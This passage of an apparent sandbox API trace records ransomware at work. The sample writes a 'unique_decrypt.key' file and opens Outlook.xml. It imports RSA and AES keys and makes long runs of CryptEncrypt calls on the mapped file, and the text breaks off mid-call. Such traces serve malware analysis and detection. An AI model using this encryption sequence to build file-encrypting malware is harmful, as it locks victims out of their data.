RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x165e7c8 [0116.697] PathCombineW (in: pszDest=0x165e7c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\unique_decrypt.key" [0116.697] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0116.698] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0116.699] CloseHandle (hObject=0x3a0) returned 1 [0116.700] GetProcessHeap () returned 0x1600000 [0116.700] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e7c8 | out: hHeap=0x1600000) returned 1 [0116.700] GetProcessHeap () returned 0x1600000 [0116.700] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b448 | out: hHeap=0x1600000) returned 1 [0116.700] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd629eb7, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xdd629eb7, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd650107, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x916, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Outlook.xml", cAlternateFileName="")) returned 1 [0116.700] GetProcessHeap () returned 0x1600000 [0116.700] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8a) returned 0x167b740 [0116.700] PathCombineW (in: pszDest=0x167b740, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook", pszFile="Outlook.xml" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" [0116.700] StrStrW (lpFirst=".omnisphere", lpSrch=".xml") returned 0x0 [0116.700] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0116.701] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=2326) returned 1 [0116.702] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x3f2, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0116.702] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0d770, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0dcb8, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesRead=0x3e0dcb8*=0x524, lpOverlapped=0x0) returned 1 [0116.703] GetTickCount () returned 0x115d2cd [0116.703] GetTickCount () returned 0x115d2cd [0116.703] GetTickCount () returned 0x115d2cd [0116.703] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.704] GetTickCount () returned 0x115d2cd [0116.705] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x1668928) returned 1 [0116.706] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x1639b28) returned 1 [0116.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0116.707] CryptDestroyKey (hKey=0x1639b28) returned 1 [0116.707] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0116.707] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x916, lpName=0x0) returned 0x28c [0116.707] MapViewOfFile (hFileMappingObject=0x28c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x916) returned 0x1480000 [0116.707] CryptAcquireContextW (in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x16681b8) returned 1 [0116.708] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x1639b28) returned 1 [0116.708] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0116.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0116.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.708] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.709] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.710] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.711] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.712] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, 